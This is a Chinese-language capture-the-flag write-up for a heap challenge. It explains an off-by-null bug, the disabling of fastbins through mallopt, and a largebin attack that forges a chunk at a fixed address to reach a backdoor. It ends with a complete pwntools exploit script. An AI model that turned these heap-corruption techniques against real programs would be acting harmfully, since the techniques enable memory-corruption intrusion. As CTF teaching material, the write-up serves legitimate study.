分析
这道题的漏洞不多,在edit note的时候有一个off_by_null漏洞:
然后还有一个后门:
没有show功能,想要泄露地址有难度;而且程序禁用了fastbin的申请:
ssize_t init_proc()
{
ssize_t result; // rax
int fd; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( !mallopt(1, 0) )
exit(-1);
if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0xABCD0000LL )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
if ( result != 48 )
exit(-1);
return result;
}
int mallopt(int param,int value) param的取值分别为M_MXFAST,value是以字节为单位;
M_MXFAST:定义使用fastbins的内存请求大小的上限,小于该阈值的小块内存请求将不会使用fastbins获得内存,其缺省值为64。题目中将M_MXFAST设置为0,禁用fastbins;
思路
所以这道题的基本思路是利用largebin attack;通过特定的申请释放与edit使得chunk重合,然后伪造chunk,将0xABCD0100这个地址链入largebin中,实现对该内存的控制,然后就可以触发backdoor函数了;
EXP
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './strom'
p = process(name)
#p = remote('61.164.47.198',10004)
elf= ELF(name)
#libc = ELF('./libc_32.so.6')
if args.G:
gdb.attach(p)
def add(size):
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('?')
p.sendline(str(size))
def edit(idx,mes):
p.recvuntil('Choice')
p.sendline('2')
p.recvuntil('?')
p.sendline(str(idx))
p.recvuntil('Content')
p.send(mes)
def dele(idx):
p.recvuntil('Choice')
p.sendline('3')
p.recvuntil('?')
p.sendline(str(idx))
add(0x18) #0
add(0x508) #1
add(0x18) #2
edit(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
add(0x18) #3
add(0x508) #4
add(0x18) #5
edit(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
add(0x18) #6
dele(1)
edit(0, 'h'*(0x18)) #off-by-one
add(0x18) #1
add(0x4d8) #7
dele(1)
dele(2) #backward consolidate
add(0x38) #1
add(0x4e8) #2
dele(4)
edit(3, 'h'*(0x18)) #off-by-one
add(0x18) #4
add(0x4d8) #8
dele(4)
dele(5) #backward consolidate
add(0x48) #4
dele(2)
add(0x4e8) #2
dele(2)
storage = 0xabcd0100
fake_chunk = storage - 0x20
p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk) #bk
edit(7, p1)
p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
edit(8, p2)
add(0x48)
edit(2,p64(0)*8)
p.sendline('666')
p.send('\x00'*0x30)
p.interactive()